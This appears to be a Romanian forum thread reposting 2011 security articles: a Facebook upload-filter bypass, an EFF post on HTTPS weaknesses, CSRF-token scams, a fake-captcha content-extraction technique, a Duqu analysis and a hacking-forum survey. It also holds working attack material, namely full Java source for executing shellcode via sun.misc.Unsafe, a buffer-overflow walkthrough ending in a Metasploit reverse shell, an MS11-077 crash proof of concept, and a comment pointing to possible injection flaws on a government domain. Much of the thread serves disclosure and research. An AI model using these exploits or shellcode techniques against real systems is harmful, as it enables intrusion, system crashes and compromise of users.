Nytro

Facebook Attach EXE Vulnerability OCTOBER 27, 2011 ---------------------------------------------------------------------------------------------------------------------------------------- 1. Summary: When using the Facebook 'Messages' tab, there is a feature to attach a file. Using this feature normally, the site won't allow a user to attach an executable file. A bug was discovered to subvert this security mechanisms. Note, you do NOT have to be friends with the user to send them a message with an attachment. ---------------------------------------------------------------------------------------------------------------------------------------- 2. Description: When attaching an executable file, Facebook will return an error message stating: "Error Uploading: You cannot attach files of that type." When uploading a file attachment to Facebook we captured the web browsers POST request being sent to the web server. Inside this POST request reads the line: Content-Disposition: form-data; name="attachment"; filename="cmd.exe" It was discovered the variable 'filename' was being parsed to determine if the file type is allowed or not. To subvert the security mechanisms to allow an .exe file type, we modified the POST request by appending a space to our filename variable like so: filename="cmd.exe " This was enough to trick the parser and allow our executable file to be attached and sent in a message. --------------------------------------------------------------------------------------------------------------------------------------- 3. Impact: Potentially allow an attacker to compromise a victim’s computer system. ---------------------------------------------------------------------------------------------------------------------------------------- 4. Affected Products: www.facebook.com ---------------------------------------------------------------------------------------------------------------------------------------- 5. Time Table: 09/30/2011 Reported Vulnerability to the Vendor 10/26/2011 Vendor Acknowledged Vulnerability 10/27/2011 Publicly Disclosed ---------------------------------------------------------------------------------------------------------------------------------------- 6. Credits: Discovered by Nathan Power www.securitypentest.com ---------------------------------------------------------------------------------------------------------------------------------------- Sursa: http://www.securitypentest.com/2011/10/facebook-attach-exe-vulnerability.html

How secure is HTTPS today? How often is it attacked? OCTOBER 25, 2011 - 12:55PM | BY PETER ECKERSLEY This is part 1 of a series on the security of HTTPS and TLS/SSL HTTPS is a lot more secure than HTTP! If a site uses accounts, or publishes material that people might prefer to read in private, the site should be protected with HTTPS. Unfortunately, is still feasible for some attackers to break HTTPS. Leaving aside cryptographic protocol vulnerabilities, there are structural ways for its authentication mechanism to be fooled for any domain, including mail.google.com, www.citibank.com, www.eff.org, addons.mozilla.org, or any other incredibly sensitive service: Break into any Certificate Authority (or compromise the web applications that feed into it). As we learned from the SSL Observatory project, there are 600+ Certificate Authorities that your browser will trust; the attacker only needs to find one of those 600 that she is capable of breaking into. This has been happening with catastrophic results. Compromise a router near any Certificate Authority, so that you can read the CA's outgoing email or alter incoming DNS packets, breaking domain validation. Or similarly, compromise a router near the victim site to read incoming email or outgoing DNS responses. Note that SMTPS email encryption does not help because STARTTLS is vulnerable to downgrade attacks. Compromise a recursive DNS server that is used by a Certificate Authority, or forge a DNS entry for a victim domain (which has sometimes been quite easy). Again, this defeats domain validation. Attack some other network protocol, such as TCP or BGP, in a way that grants access to emails to the victim domain. A government could order a Certificate Authority to produce a malicious certificate for any domain. There is circumstantial evidence that this may happen. And because CAs are located in 52+ countries, there are lots of governments that can do this, including some deeply authoritarian ones. Also, governments could easily perform any of the above network attacks against CAs in other countries. In short: there are a lot of ways to break HTTPS/TLS/SSL today, even when websites do everything right. As currently implemented, the Web's security protocols may be good enough to protect against attackers with limited time and motivation, but they are inadequate for a world in which geopolitical and business contests are increasingly being played out through attacks against the security of computer systems. How often are these attacks occurring? [update 10/27/2011: there was an error in our manual de-duplication of CA organizations. Rather than 15 total compromised organizations and 5 since June, the CRLs indicate 14 total and 4 since June] At USENIX Security this year, Jesse Burns and I reported a number of findings that came from studying all of the Certificate Revocation Lists (CRLs) that are published by CAs seen by the SSL Observatory. One interesting feature of X.509 Certificate Revocation Lists is that they contain fields explaining the reason for revocations. As of last week, a scan of all the CRLs seen previously by the Observatory showed the following tallies: +------------------------+------------+ | reason | occurences | +------------------------+------------+ | NULL | 921683 | | Affiliation Changed | 41438 | | CA Compromise | 248 | | Certificate Hold | 80371 | | Cessation Of Operation | 690905 | | Key Compromise | 73345 | | Privilege Withdrawn | 4622 | | Superseded | 81021 | | Unspecified | 168993 | +------------------------+------------+ The most interesting entry in that table is the "CA compromise" one, because those are incidents that could affect any or every secure web or email server on the Internet. In at least 248 cases, a CA chose to indicate that it had been compromised as a reason for revoking a cert. Such statements have been issued by 14 distinct CA organizations. A previous scan, conducted in June this year, showed different numbers: +------------------------+------------+ | reason | occurences | +------------------------+------------+ | NULL | 876049 | | Affiliation Changed | 27089 | | CA Compromise | 55 | | Certificate Hold | 52786 | | Cessation Of Operation | 700770 | | Key Compromise | 59527 | | Privilege Withdrawn | 4589 | | Superseded | 66415 | | Unspecified | 174444 | +------------------------+------------+ Those "CA Compromise" CRL entries as of June were published by 10 distinct CAs. So, from this data, we can observe that at least 4 CAs have experienced or discovered compromise incidents in the past four months. Again, each of these incidents could have broken the security of any HTTPS website. It is also interesting to examine revocations by reason as a function of time: Generally, this plot reflects enormous growth in HTTPS/TLS deployment, as well as the growing strain that its being placed on its authentication mechanisms. The problems with the CA system and TLS authentication are urgent and structural, but they can be fixed. In this series of posts, we will set out an EFF proposal for reinforcing the CA system, which would allow security-critical websites and email systems to protect themselves from being compromised via an attack on any CA in the world. Sursa: https://www.eff.org/deeplinks/2011/10/how-secure-https-today

Facebook spammers trick users into sharing anti-CSRF tokens Posted on 28 October 2011. Facebook spammers have already used a number of different approaches to make users inadvertently propagate their scams, and most of them fall into the social engineering category. A particularly intriguing technique has recently been spotted by Symantec researchers, who believe that this type of approach is likely to be used a lot in the near future. In short, the scammers make the victim's account post messages by executing a Cross-site Request Forgery attack after the victim herself has been tricked into sharing her anti-CSRF token generated by Facebook. Once they have the anti-CSRF token, the crooks can generate a valid CSRF token, which allows them to re-use an already authenticated session to the website to post the offending message unbeknownst to the user. The attack begins with a typical message inviting users to see an "amazing video" or similar content. A click on the link takes the user to a fake YouTube page, and when he wants to see the video, a window pops up telling him that he must pass the "Youtube Security Verification": When he clicks on the Generate Code link, a request is sent to 0.facebook.com/ajax/dtsg.php, which returns JavaScript code containing the session's anti-CSRF token in a separate window. After the user has copied and pasted the generated code into the empty field and pressed the "Confirm" button, he has effectively sent the code to the attacker who extracts the anti-CSRF token, creates a CSRF token and inserts is in his own piece of code that finally executes the CSRF attack and posts the malicious message and link on the user's Facebook Wall. Attacks asking Facebook users to copy/paste JavaScript in order to gain access to some content are not new to the social network, but spammers have not used them a lot lately. Perhaps it is because of the automated monitoring of accounts for suspicious behavior that Facebook has introduced, or perhaps they have misused the approach too many times in a short period, making users vary of such requests. In any case, the researchers believe that this particular approach might gain in popularity, but say that other innovative approaches are sure to come. Sursa: Facebook spammers trick users into sharing anti-CSRF tokens

Cross domain content extraction with fake captcha TUESDAY, JULY 5, 2011 Content extraction is one of the recently documented UI redressing vectors. It exploits Firefox vulnerability that allows to display any URL HTML source in an iframe like this: <iframe src="view-source:http://any-page-you.like/cookies-included"> With social engineering attacker tricks user into selecting (usually invisible) page source and dragging it to attackers' controlled textarea. A simple demo is here: Once attacker gets the page source dropped into his textarea, he may begin to extract contents (like session IDs, user names, anti csrf tokens etc.) and launch further attacks. However, this way of using the vector requires significant effort from a user and is pretty difficult to exploit in real world situation (there's some clicking and dragging involved). Also, it will stop working once Mozilla disallows cross origin drag & dropping. I've found a neat way to do cross-origin content extraction that might be more suitable for some classes of websites. Ladies and gentleman, let me present Fake Captcha: NO MORE DRAG The weak point of the 'classic' method for me was the dragging that was involved. In Firefox, once you drag something, it displays a shadow of the object at the cursor - and a whole HTML source being displayed for the user is really hard to hide. I decided to convince the user to copy & paste the source with his clipboard instead. Copying & pasting requires four steps: selecting the text to copy ctrl-c navigating to target element ctrl-v Each of these steps requires user intervention. I could make a game/quiz that requires certain keypresses, but that's weak (although it works for Facebook users). Instead, I wanted it to feel natural for the user. Nothing is hidden and he just uses the clipboard because he wants to. SO, WHEN DO YOU USE A CLIPBOARD? Well, I don't like typing. So everytime I'm forced to repeat my e-mail address in a form, I just copypaste it. I decided to go that way. What if we display longish captcha-like 'security code' for a user to retype? 16 characters or more? Some of them will skip this step altogether, some will retype, but most will select the text and copy/paste. HOW DO YOU SELECT? You can select with your mouse. In Firefox, you can also select by double / tripple clicking. My assumption is that most of the users use the clicking method to select text. Double click stops at word boundary, third click expands to whole paragraph (try this text). In the above example, you need three clicks to select the whole visible code. Why do we care? I'M FRAMED! Because the security code input field is just precisely positioned part of the view-source:d victim page. And by tripple clicking user selects the whole line from the page source! DEMO It's best to see the demo to understand what's going on. We want to extract the anti-CSRF token from the victim page cross domain. The token is in the page source, line 7: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>NDCP</title> <script type="text/javascript"> var csrf_token = '35fb6df6-2ab9-408b-abe3-769412a58e15'; </script> <style> body { background: url(nuke.jpg) left top repeat; color: white; font-family: Verdana, arial, sans-serif; } // and so on So we display the source in a small frame, position it to only display a few characters, starting from line 7, column 19. Then we convince the user to select the whole line with tripple click - double click will stop at minus sign, so the user will probably do the third click to select all. After selecting he copies, clicks the next field and pastes. Then we're done. DETAILS MATTER See the source to appreciate all the small, but very important details, especially: how to measure the font size used in view-source: what was view-source:view-source: used for how to position an iframe to line / column of HTML source how the input and frame was styled to look similar HOW NOT TO GET OWNED? web developers - use X-Frame-Options header (js framebusting won't work here). Remember, once you allow your site to be framed, you're opening to a whole class of UI redressing attacks, most of the attacks are not even discovered yet, it's a new field of research. So if you don't use X-Frame-Options, better have a really good explanation. users - don't use Firefox or look carefully on what you do use NoScript SUMMARY There's a new 'fake captcha' method of using the content extraction UI redressing vector. Pros: does not require drag & dropping accounts for font-size differences more convincing for a user Cons: won't work if user uses mouse to select text (unless attacker is interested in only the visible part) requires a captcha like string in victim HTML source it's line / column position must be constant and known to attacker only one line of HTML source might be copied (but websites' HTML is often minimized to a single line) You might find the requirements very limiting. I also thought that's simply impossible to exploit in real life. Until I started looking - wait for the next post Update: Latest NoScript (2.1.2+) contains code neutralizing fake captcha method. Yeat another great work of Giorgio Maone! Update 2: Fake CAPTCHA technique spotted in the wild to extract Facebook CSRF tokens. Sursa: Cross domain content extraction with fake captcha

Topic inchis.

Cica: antena1 • Vezi subiect - HACKERII ANONYMOUS TREC LA FAPTE! Au si cont de Facebook si acelasi ID de messenger. Ca idee: Nu stiu ce parere aveti voi, dar cand am vazut ca folosesc nu stiu ce dumper, au facut cont pe .co.cc si vorbesc pe messenger... Mi se pare deja trist. "PS: MIRA - EXPECT US!" PS: Mai.gov.ro e posibil sa aiba si RFI, pe langa SQLI (un domeniu). Ziceam asa, sa va dau si voua de veste. Aveti grija.

Creating your own Abstract Processor © Aodrulez Introduction In this paper, I'll try to explain to you how to create your own Abstract Processor. It can be really simple or absolutely complex & it'll depend entirely on your imagination. First of all, let me explain what is an Abstract Processor. Its nothing but a purely theoretical processor architecture that one can develop by programming at software level. If that sounded too complex, think of it like creating your own processor by writing code in lets say c/c++ or PERL with registers, stack-size etc that you define. Don't worry much if you didn't get the concept yet. Am sure you will grasp it on the way Download: http://dl.packetstormsecurity.net/papers/general/Abstract-Processor.pdf

Thexero: Exploit Development - Abusing The Stack Description: Once you get into exploit development, you’d soon realize just how easy the process of developing an exploit becomes. To start with, generally a Buffer Over Flow condition causes the target application to crash. I first load up a simple python based fuzzer script and attempt to fuzz a free FTP server called ‘FreeFloat FTP Server’ which is hosted on a machine in my lab with the IP of 192.168.72.129. The program stops responding to our FTP requests after 300 A’s after the USER command. We then load the program into Immunity Debugger and attempt to replicate the crash once again and once crashed we notice that EIP has been completely overwritten with ’41414141? which is the hex equivalent to the letter A. For simplicities sake we decide to export the target IP address and port number to our local environment variables so that the potential of entering the wrong IP is minimized. We then load up Metasploit’s tool ‘Pattern Create’ to create us a unique string so that we can use that to help identify the exact position before we get to the EIP overwrite, which turned out to be 230. We then modify our buffer to include 230 A’s then send a ‘DEADBEEF’ as the address to overwrite EIP and the rest of our buffer is also overflowed into the ESP register which means that if we overwrite EIP to a memory address that has the command ‘JMP ESP’ that hopefully the next instruction will reside at ESP. We then send all hex bytes (minus the \x00 as it would kill out TCP connection to the FTP server) and attempt to identify any bad characters that may be included in our shellcode later on. Metasploit is then opened with the console interface and we begin to create test shellcode, while excluding the bad characters from the payload that will run the Windows calculator application. As the payload will be encoded we had to add 8 NOPs to our buffer so that there was sufficient room for the payload to decode itself. Once the test shellcode was added we tested our exploit which successfully crashed the program but at the same time executed our code and opened the Windows calculator. Back in metasploit we create a Windows reverse shell payload, again excluding the bad characters that we had previously found and wrote all the hex bytes to a file called ‘shellcode’ which we then opened with gedit. We then replaced the test Windows calculator payload with the first stage of our newly created staged Windows reverse shell payload to complete our exploit. Then we set up a metasploit to listen on port 4444 for a staged Windows reverse shell and executed our exploit, which resulted in the target machine connecting back to our machine. As we chose a staged payload our machine delivered stage 2 of the payload creating a full reverse Windows command prompt to be given to our machine and from then on we had full control over that session. Video: http://www.securitytube.net/video/2377

Running shellcode from Java without JNI © 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42) /* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). * © 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42) * * Tested versions: * .---------------------------.---------.------------.---------.-----------------. * | JVM version | MA slot | Native Ptr | Raw RET | EXITFUNC thread | * |===========================|=========|============|=========|=================| * | Oracle 1.4.2 Win32 | 25 | 15 | C3 | Not supported | * | Oracle 1.5 Win32 | 29 | 14 | C3 | Not supported | * | Oracle 1.6 Win32 | 29 | 19 | C3 | Not supported | * |---------------------------|---------|------------|---------|-----------------| * | Oracle 1.6 Linux 32-bit | 28 | 19 | C3 | Not supported | * '---------------------------'---------'------------'---------'-----------------' * * How to test other versions: * * 1. Compile this class with settings supported by your target JVM (and * -target 1.1) and run it without arguments. It will examine the class fields * for candidates that might hold a pointer to the method array. The method * array is a Java array that contains one entry for each method, and this * entry contains a native pointer to its entry point (for native methods). * Therefore we first have to find the offset of this pointer. First filter * out all values that are most likely not pointers (too small, too "round", * etc.) In case you have a debugger handy, look at the remaining candidates. * A method array will start with jvm flags (usually 0x00000001), a pointer * to the array's element class object, its length (which should be equal to * the number printed above the candidate table), and a pointer to each of the * elements. The rest (up to an architecture-dependent size) is padded with * zeros. If you don't have a debugger handy, just try all of the candidates * in the next step until you get success. * * [Note: On Win32, the slots before the pointer are filled with 0,0,0(,0,1,0,0).] * * 2. Run the class with the (suspected) correct method array slot number as its * (only) argument. If the slot was wrong, the JVM will most likely print an * obscure error message or crash. If the slot was correct, it will dump the * fields of the method object inside the array. One of these fields is a * native pointer of the function (by default, on Windows, this points to a * stub method that throws an UnsatisfiedLinkError). So examine the pointers * until you found this method, or again just use trial and error in the next * step. * * [Note: On Win32, there is 0 and another pointer before it, and 0,0,1 after] * * 3. Run the class with two parameters, first the method array slot number from * step one, then the native pointer slot number from step two. It will try to * fill that pointer with 0x4141414141414141, therefore examine the (expected) * crash log if it crashes at that pointer. If you cannot examine the crash log, * just try the following steps with each other alternative. The first two * parameters have to be kept for all the following steps, there are only parameters * to be added. * * 4. Run the class with "raw C3" as the 3rd and 4th parameter (if your architecture * uses a different opcode for RET, replace it, e. g. "raw DE AD BE EF". This code * will be written into a freshly allocated memory region and the region's base * address will be used for the pointer. This time, the program should not crash, * but return, and print a success message as last step. Running it with * "threaded raw C3" should result in the same results. * * 5. Use Metasploit or similar to build a native shellcode for your platform, * using EXITFUNC = thread (or similar) - EXITFUNC = RET would be better. Now run * the class with "file /path/to/your/shellcode" as 3rd and 4th parameter, which * should result in execution of your shellcode, but probably a crash afterwards. * Try again with "threaded file /path/to/your/shellcode". On Windows, both variants * run the shellcode, but crash/hang afterwards, therefore the "Not Supported" in the * last column of the table. [The unthreaded approach kills the Java process on exit, * the threaded approach hangs forever.] * * 6. Fill in the table above and send it to me */ import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import sun.misc.Unsafe; public class ShellcodeTest implements Runnable { private static int addressSize; public static void main(String[] args) throws Exception { // avoid Unsafe.class literal here since it may introduce // a synthetic method and disrupt our calculations. java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); addressSize = unsafe.addressSize(); Class thisClass = Class.forName("ShellcodeTest"); final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1; System.out.println("[*] Shellcode class has " + METHOD_COUNT + " methods."); Field staticField = thisClass.getDeclaredField("addressSize"); Object staticFieldBase = unsafe.staticFieldBase(staticField); if (args.length == 0) { System.out.println("[*] Candidates for method array slot:"); long staticFieldOffset = unsafe.staticFieldOffset(staticField); printStaticSlots(unsafe, staticFieldBase, staticFieldOffset); System.out.println("[*] Select method array slot now!"); return; } long methodArraySlot = Integer.parseInt(args[0]); System.out.println("[*] Obtaining method array (slot " + methodArraySlot + ")"); Object methodArray = unsafe.getObject(staticFieldBase, methodArraySlot * addressSize); int methodCount = Array.getLength(methodArray); if (methodCount != METHOD_COUNT) { System.out.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT); return; } System.out.println("[+] Successfully obtained method array"); Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot"); methodSlotField.setAccessible(true); int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("shellcode", new Class[0]))).intValue(); System.out.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")"); Object methodObject = Array.get(methodArray, shellcodeMethodSlot); System.out.println("[+] Successfully obtained method object"); if (args.length == 1) { System.out.println("[*] Candidates for native pointer slot:"); printStaticSlots(unsafe, methodObject, 30 * addressSize); System.out.println("[*] Select native pointer slot now!"); return; } long nativePtrSlot = Integer.parseInt(args[1]); long nativePtrTarget; boolean useThread = false; int argOffset = 2; if (args.length > 2 && args[2].equals("threaded")) { argOffset++; useThread = true; } if (args.length == argOffset) { System.out.println("[*] Setting native pointer slot to 0x4141414141414141 (should crash at that address!)"); nativePtrTarget = 0x4141414141414141L; } else { String mode = args[argOffset]; argOffset++; if (mode.equals("raw")) { // raw c3 nativePtrTarget = unsafe.allocateMemory(args.length - argOffset); for (int i = argOffset; i < args.length; i++) { unsafe.putByte(nativePtrTarget + i - argOffset, (byte) Integer.parseInt(args[i], 16)); } } else if (mode.equals("file")) { File file = new File(args[argOffset]); nativePtrTarget = unsafe.allocateMemory(file.length()); FileInputStream fis = new FileInputStream(file); int b; long ptr = nativePtrTarget; while ((b = fis.read()) != -1) { unsafe.putByte(ptr, (byte) ; ptr++; } } else { System.out.println("Unsupported mode: " + mode); return; } } System.out.println("[*] Trying to overwrite native method pointer (slot " + nativePtrSlot + ")"); if (addressSize == 8) unsafe.putLong(methodObject, nativePtrSlot * addressSize, nativePtrTarget); else unsafe.putInt(methodObject, nativePtrSlot * addressSize, (int) nativePtrTarget); System.out.println("[+] Successfully overwritten native method pointer"); if (useThread) { System.out.println("[*] Executing native method in thread"); Thread thread = new Thread(new ShellcodeTest()); thread.start(); System.out.println("[*] Thread started"); thread.join(); System.out.println("[*] Thread successfully finished"); } else { System.out.println("[*] Executing native method (drum roll...)"); shellcode(); System.out.println("[+] Executed native method and returned!"); } } public void run() { try { shellcode(); } catch (Throwable t) { t.printStackTrace(); } } private static void printStaticSlots(Unsafe unsafe, Object object, long maxOffset) { for (long offset = 0; offset < maxOffset; offset += addressSize) { long value = addressSize == 8 ? unsafe.getLong(object, offset) : unsafe.getInt(object, offset) & 0xFFFFFFFFL; System.out.println("\t" + offset / addressSize + "\t" + Long.toHexString(value)); } } private static native void shellcode(); } Sursa: [Java] /* * Running shellcode from Java without JNI (i. e. loading a DLL from disk). - Pastebin.com

Inca o discutie penibila.

The Mystery of Duqu: Part Two Aleks Kaspersky Lab Expert Posted October 25, 19:59 GMT Partea I: http://www.securelist.com/en/blog/208193182/The_Mystery_of_Duqu_Part_One Our investigation and research of Duqu malware continues. In our previous report, we made two points: - there are more drivers than it was previously thought; - it is possible that there are additional modules. Besides those key points, we concluded that unlike the massive Stuxnet infections, Duqu attacks and is contained within an extremely small number of targets. But before informing you about our new findings, I would like to pay tribute to the Hungarian research laboratory 'Crysys' for their work. They were the first who analyzed Duqu components and generated an excellent report. It was provided later to antivirus vendors and became the basis of further investigations.(Unfortunately, our company was not the first to receive this report, but now it’s even more interesting to find out everything about Duqu) Our experts continue to conduct in-depth analysis of all Duqu components, and find more evidence of similarities between Duqu and Stuxnet. A detailed report with our experts’ analysis of files and their structure is in progress and will be published later. This part of our research is not the most important and urgent. It is much more essential to understand the reasons and sequences of facts, which will be discussed here. Real incidents In our previous blog, we mentioned that in the previous 24 hours, we had found only one real incident after adding the detection of all known Duqu components. Since that incident, we have discovered more, and it allows us to make some conclusions about the attack vector itself. It is important to mention that we can’t either confirm or deny information from other AV vendors about known incidents in the UK, USA and possibly in Austria and Indonesia. We are making no comments on any incidents in Hungary. Let’s focus only on cases we’ve discovered with the help of Kaspersky Security Network. Incident #1: Sudan One of the first real infection cases took place in a very specific region as we confirmed earlier. It happened in Sudan. In this case, we found a completely new driver which differs from previous variants in both name and MD5. Based on our finding that the main Duqu module consists of three components (driver, DLL library and configuration file), we may speculate that two more files are a part of the package. But we haven’t observed any detections in our customer base with our current detection set. It means that these files are different from known examples (netp191/192.pnf, cmi4432/cmi4464.pnf). Unfortunately we were not able to connect with the infected user for a detailed analysis and research effort for this incident. Also, we don’t have a copy of the adp55xx.sys driver. We know only file name, size and checksum at this point. Incident #2: Iran At the moment, the highest number of Duqu incidents were found in Iran. This fact brings us back to the Stuxnet story and raises a number of issues. But first, let’s look into some details. We see the same situation: a new unique file name (iraid18.sys), an already known file size (24960 bytes) and a new checksum. But besides those three static file characteristics, there remain some differences. We found not only a new driver, but also a new configuration file “ird182.pnf”. Doubtless, it’s analogous to known files (same size 6570 bytes) but it’s different with the content because this file must be unique. It stores information about the infection date in order to control further uninstall process. Another driver is even more interesting. We were not able to restore its original name. And, despite being the same size as previous Duqu drivers, it is also different from iraid18.sys, which was also found at the infected location. It is different from all previous known drivers. At this point, we see an almost complete new set of modules with similar names: iraid18.sys + ird182.pnf + unknown main DLL library (which we suspect may have a name like “ird181.pnf”). Incident #3: Iran This incident is one of the most interesting. Here we have an infection of 2 systems connected to each other. Besides the fact that these systems are in one network, they were also infected with the same driver (new again) – igdkmd16b.sys. We were able to obtain a copy of this file: 1 Publisher Intel Corporation 2 Product Intel Graphics Accelerator 3 Description Intel Graphics Kernel Mode Driver 4 File version 2.2.0.15 5 Original name igdkmd16b.sys 6 Internal name igdkmd16b.sys 7 Size 25088 bytes 8 Date of compilation 17 October 2011 Notice that before this incident, we have never seen a file with the size 25088 bytes. Until this case, we have only seen drivers with the size of 24960 bytes (without digital signature) or 29568 bytes (with digital signature). In addition, we found two more files on one of the systems (unfortunately we weren’t able to get a copy of these files). The first file is a configuration file with the name netq795.pnf and the second file is an unknown driver with the same size of 25088 bytes, but with the different checksum. As it was in incident #2, here we also have an almost complete new set of modules: igdkmd16b.sys + netq795.pnf + unknown main DLL library (which we suspect may have a name like “netq794.pnf”). Incident #4: Iran As it was in all incidents described above there is a unique driver which differs from previous ones both in name (bpmgs.sys) and in size (24832 bytes). Unfortunately, we weren’t able to get a copy of the file and its content is still a mystery. The same goes for its corresponding configuration file. At the same time, we found a fact that is probably not related to this Duqu case. BUT! This computer was attacked for several times via network not so long time ago: on October 4 and October 16. Both attacks used an exploit abusing the MS08-067 vulnerability (e.g. which was used by Kido and Stuxnet). The IP address of the attacker is 63.87.255.149 (in both cases). It is owned by ‘MCI Communications Services, Inc.’, a subdivision of ‘Verizon Business’. So, imagine the situation. Two attacks in 12-day period from one IP address. What is the probability that this attack was automatically performed by Kido? It is possible in case of a single attack. It is impossible in case of two attacks. It means that we may suggest that these attacks were not accidental, but targeted. It is possible that the attacker used not only MS08-067, but also other exploits that were not traced. Conclusions and facts 1. We have recorded incidents just in Sudan and Iran; 2. We have no information about victim’s relations either with Iran’s nuclear program or with CAs or industries; 3. It is obvious that every single Duqu incident is unique with its own unique files with different names and checksums; 4. Duqu is used for targeted attacks with carefully selected victims(Here was APT word but it strikethrough because I don’t like this term); 5. We know that there are 13 different driver files at a minimum (and we have only 6 of them); 6. We haven’t found any ‘keylogger’ module usage. It is possible that either it has never been used in this particular set of incidents, or it has been encrypted, or it has been deleted from the systems; 7. Analysis of driver igdkmd16b.sys showed that there is a new encryption key, which means that existing detection methods of known PNF files (main DLL) are useless. It is obvious that the DLL is differently encoded in every single attack. Existing detection methods from the majority of AV vendors are able to successfully detect Duqu drivers. But the probability of missing detection of the main DLL component (PNF) is almost 100%; 8. Duqu is a multifunctional framework which is able to work with any number of any modules. Duqu is highly customizable and universal; 9. The main library (PNF) is able (export 5) to fully reconfigure and reinstall the package. It is able to install drivers and create additional components, record everything in the registry, etc. It means that if there is a connection to active C&C and commands, then Duqu’s infrastructure on a particular system might be changed completely; 10. Authors of Duqu were able to install updated modules on infected systems just before the information about this malware has been published because we continue to discover new Duqu drivers created on October 17, 2011. We do not exclude the fact that they were able to change C&C; 11. We do not exclude that known C&C in India was used only in the first known incident (see original report from Crysys Lab)and that there are unique C&Cs for every single target, including targets found by us; 12. Reports that Duqu works on infected systems for only for 36 days is not entirely correct. Even this data point is customized: only jminet7.sys/netp191.pnf uses its 36-day counter. Set of modules cmi4432.sys/cmi4432.pnf will remove itself after 30 days. Sursa: http://www.securelist.com/en/blog/208193197/The_Mystery_of_Duqu_Part_Two

DDoS and SQL injection are main topics on hacking forums By Lucian Constantin, IDG News Service October 18, 2011 11:05 AM ET Distributed denial of service and SQL injection are the main types of attack discussed on hacking forums, according to new research from security vendor Imperva. Underground discussion forums are an important piece in the cybercriminal ecosystem. They offer a place for hackers to sell and exchange information, software tools, exploits, services and other illegal goods. "Forums are the cornerstone of hacking -- they are used by hackers for training, communications, collaboration, recruitment, commerce and even social interaction," Imperva stressed. The company's researchers have recently analyzed discussions going back several years from HackForums.net, one of the largest hacker forums with over 220,000 registered members. Their effort was aimed at determining the most common attack targets, what business trends can be observed, and what directions hackers are leaning toward. As far as attack popularity goes, the analysts determined that DDoS was mentioned in 22 percent of discussions. SQL injection, a technique commonly used to compromise websites, is the second most frequently discussed attack method, being at the center of 19 percent of conversations. Unsurprisingly, with a 16 percent discussion occurrence rate, spam is the third most favorite attack type according to Imperva's content analysis. That's probably because it is one of the primary methods of generating illegal income. Zero-day exploits make up 10 percent of attack discussions on the forum, however, Microsoft's latest Security Intelligence Report (SIR) claims that this type of exploit is used in less than 1 percent of real-world compromises. Forums are also an important learning tool for new hackers -- Imperva determined that up to a quarter of discussions fall into the beginner hacking category. Another 25 percent of conversations involved hacking tools and programs, while a fifth mentioned Web and forum hacking. One trend observed by Imperva's researchers was that mobile hacking is increasingly popular. This is also reflected in real-world attack statistics and reports from other vendors. iPhone hacking in particular accounted for half of conversations on this topic. Overall, discussions about hacking have increased more than 150 percent over the last four years. "We think the growth in hacker forum activity helps explain that, along with automated hacking, there are simply more hackers causing more breaches," Imperva concluded. Sursa: DDoS and SQL injection are main topics on hacking forums

MS11-077 Win32k Null Pointer De-reference Vulnerability POC # Exploit Code. Only a single line of code can cause BSOD # Exploit Title: MS11-077 Win32k Null Pointer De-reference Vulnerability POC # Date: 10/19/2011 # Author: KiDebug # Version: Windows XP SP3 32bit # Tested on: Windows XP SP3 32bit # CVE : CVE-2011-1985 # Exploit Code. Only a single line of code can cause BSOD: #include <Windows.h> void main() { SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0); } or: #include <Windows.h> void main() { SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0); } Those messages can aslo cause BSOD: // CB_ADDSTRING 0x0143 // CB_INSERTSTRING 0x014A // CB_FINDSTRING 0x014C // CB_SELECTSTRING 0x014D // CB_FINDSTRINGEXACT 0x0158 // LB_ADDSTRING 0x0180 // LB_INSERTSTRING 0x0181 // LB_SELECTSTRING 0x018C // LB_FINDSTRING 0x018F // LB_FINDSTRINGEXACT 0x01A2 // LB_INSERTSTRINGUPPER 0x01AA // LB_INSERTSTRINGLOWER 0x01AB // LB_ADDSTRINGUPPER 0x01AC // LB_ADDSTRINGLOWER 0x01AD 0: kd> r eax=0000001b ebx=ee0af1fa ecx=ffffffff edx=bbdd0650 esi=ffffffff edi=ee21fd64 eip=bf914e9b esp=ee21fd08 ebp=ee21fd08 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 win32k!NtUserfnINCBOXSTRING+0x8: bf914e9b 8b4120 mov eax,dword ptr [ecx+20h] ds:0023:0000001f=???????? 0: kd> kp ChildEBP RetAddr ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8 ee21fd40 8054261c win32k!NtUserMessageCall+0xae ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc 0012ff2c 77d194be ntdll!KiFastSystemCallRet 0012ff5c 00401015 USER32!NtUserMessageCall+0xc 0012ff78 0040114c 1!main(void)+0x15 [[r:\temp\1\1.cpp @ 6] 0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278] 0012fff0 00000000 kernel32!BaseProcessStart+0x23 Sursa: MS11-077 Win32k Null Pointer De-reference Vulnerability POC

